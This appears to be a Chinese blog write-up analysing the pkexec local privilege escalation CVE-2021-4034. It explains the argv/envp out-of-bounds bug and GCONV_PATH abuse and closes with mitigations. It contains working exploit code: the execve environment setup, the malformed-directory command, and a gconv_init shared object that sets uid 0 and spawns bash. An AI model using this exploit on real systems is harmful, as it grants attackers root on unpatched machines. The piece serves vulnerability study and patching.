CVE-2021-4034
2021以前发行版
此漏洞exp利用流程上来说,可以分为两个部分
1.设置恶意环境变量
2.通过恶意环境变量执行命令
pkexec 源码地址
https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c
在533行,n被赋值为1
610行,存在越界读取,我们执行pkexec的时候,不传参数,argv数组只有默认的0下标,1是不存在
那么argv[1]是什么呢?
当我们执行一个程序时,内核会将我们的参数、环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾;如下所示:
|---------+---------+-----+------------|---------+---------+-----+------------| | argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] | |----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------| V V V V V V "program" "-option" NULL "value" "PATH=name" NULL
因为argv和envp指针在内存中是连续的,那么argv[1]实际上指向的是envp[0]
通过给argv[1] 赋值就能修改环境变量
在632行,调用了g_find_program_in_path
函数
根据glib的源码,这个函数是用来在PATH中搜索传参的绝对路径的,比如传参id
,返回是/usr/bin/id
,然后在639行将返回值越界写入了argv[1],也就是第一个环境变量
根据这个流程,我们使用如下代码,可以做到设置恶意环境变量
shell创建文件夹 mkdir GCONV_PATH\=.
,在目录中创建test文件
char *a_argv[]={ NULL }; char *a_envp[]={ "test", "PATH=GCONV_PATH=.", NULL }; execve("/usr/bin/pkexec", a_argv, a_envp);
经过g_find_program_in_path
函数以后,在我们创建的畸形目录中搜索到了test文件,此时envp[0]的的值为GCONV_PATH=./test
恶意环境变量完成,然后这里就有一个问题,我们费劲巴拉搞半天,就为了把GCONV_PATH设置到环境变量,为什么不直接通过execve函数把环境变量传进入呢?
当时这里我也没理解,后来看先知上的23R3F师傅的文章才搞懂了,linux 的动态连接器ld-linux-x86-64.so.2 会在特权程序执行的时候清除敏感环境变量。
我们可以测试一下,id为没有赋予suid权限,成功输出了hello。
pkexec有suid权限,LD_PRELOAD其实是没有生效的。
我个人的理解就是,在linux里面定义的这些敏感环境变量,触发suid程序自己本身setenv了,否则外部是无效的
走到670行,
用for遍历environment_variables_to_save
作key,去环境变量中取值
然后传给函数validate_environment_variable
,此函数是检测shell是否合法的,需要通过这个函数来触发关键函数g_printerrr
有两种方法,传环境变量SHELL=test
,或者走第二个if,XAUTHORITY=..
g_printerr
中间接调用了linux的iconv_open
函数,调用链如下
strdup_convert() <- glib/gmessages.c:1126 g_convert_with_fallback() <- glib/gmessages.c:676 g_convert() <- glib/gconvert.c:972 open_converter() <- glib/gconvert.c:876 g_iconv_open() <- glib/gconvert.c:637 try_conversion() <- glib/gconvert.c:260 iconv_open() <- glib/gconvert.c:208
iconv_open函数会根据环境变量中的GCONV_PATH的目录下的gconv-modules文件
文件内容如下
表示UTF-8转换到LANYI编码,需要用到lanyi.so,1表示表示转换成本的数值。如果缺少该单词,则假定成本为1,我们将恶意的lanyi.so放到当前目录下,然后通过网上的一段demo来测试是否能正常加载so
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <iconv.h> int main(int argc, char **argv) { /* 目的编码, TRANSLIT:遇到无法转换的字符就找相近字符替换 * IGNORE :遇到无法转换字符跳过*/ //char *encTo = "UNICODE//TRANSLIT"; setenv("GCONV_PATH", "./", 1); char *encTo = "LANYI"; /* 源编码 */ char *encFrom = "UTF-8"; /* 获得转换句柄 *@param encTo 目标编码方式 *@param encFrom 源编码方式 * * */ iconv_t cd = iconv_open (encTo, encFrom); if (cd == (iconv_t)-1) { perror ("iconv_open"); } /* 需要转换的字符串 */ char inbuf[1024] = "abcdef哈哈哈哈行"; size_t srclen = strlen (inbuf); /* 打印需要转换的字符串的长度 */ printf("srclen=%d\n", srclen); /* 存放转换后的字符串 */ size_t outlen = 1024; char outbuf[outlen]; memset (outbuf, 0, outlen); /* 由于iconv()函数会修改指针,所以要保存源指针 */ char *srcstart = inbuf; char *tempoutbuf = outbuf; /* 进行转换 *@param cd iconv_open()产生的句柄 *@param srcstart 需要转换的字符串 *@param srclen 存放还有多少字符没有转换 *@param tempoutbuf 存放转换后的字符串 *@param outlen 存放转换后,tempoutbuf剩余的空间 * * */ size_t ret = iconv (cd, &srcstart, &srclen, &tempoutbuf, &outlen); if (ret == -1) { perror ("iconv"); } printf ("inbuf=%s, srclen=%d, outbuf=%s, outlen=%d\n", inbuf, srclen, outbuf, outlen); int i = 0; for (i=0; i<strlen(outbuf); i++) { printf("%x\n", outbuf[i]); } /* 关闭句柄 */ iconv_close (cd); return 0; }
hello被成功执行,我的so没有实现gonv_init
函数,所以报错了
exp:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void gconv(){ return; } void gconv_init() { setuid(0); seteuid(0); setgid(0); setegid(0); static char *a_argv[] = {"bash", NULL }; static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL }; execve("/bin/bash", a_argv, a_envp); exit(0); }
编译gcc -o lanyi.so -shared -fPIC lanyi.c
然后按照前面的流程,越界写入环境变量即可,执行so文件
1.更新到polkit最新版本
2.取消pkexec的suid权限
https://saucer-man.com/information_security/876.html
https://xz.aliyun.com/t/10870
很赞哦! (119)